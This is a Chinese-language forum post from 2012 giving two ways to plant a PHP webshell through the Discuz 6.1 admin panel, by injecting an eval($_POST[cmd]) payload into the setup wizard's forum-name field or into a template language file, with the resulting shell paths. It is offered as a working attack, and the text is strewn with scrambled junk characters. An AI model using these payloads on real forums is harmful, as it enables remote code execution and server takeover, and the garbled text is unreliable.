discuz6.1两种方法后台拿shell0 @' l: ? @( W1 Q6 n3 F
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下, C1 s) ^: x6 {# s. w
1:
$ ]. c* [# G. W0 fhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes% F: c: @$ ~; z( Q. }% t d! D
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
, d. M h `6 t5 L) l- E# P<?php eval($_POST[cmd]);?>
. L+ L% Z7 b3 L后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
, @1 M( i( `: [8 ^6 b! _" h& k$ x5 v) D) c1 ]2 r+ p
! L8 f1 l+ G' M4 U+ v* ~' X: b, H+ r
2:后台模板管理--默认模板套系--详情
9 X4 k7 m+ ^3 a& r% w) B9 L# K+ A: @5 Ttemplates/default/actions.lang.php6 ~6 I5 ^5 L- w- G( C( q% U- E
jhackj\\');eval($_POST[cmd])?>;//
. K: `8 e8 `+ ]0 w4 L, T8 ]5 @0 [# N& l, h
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对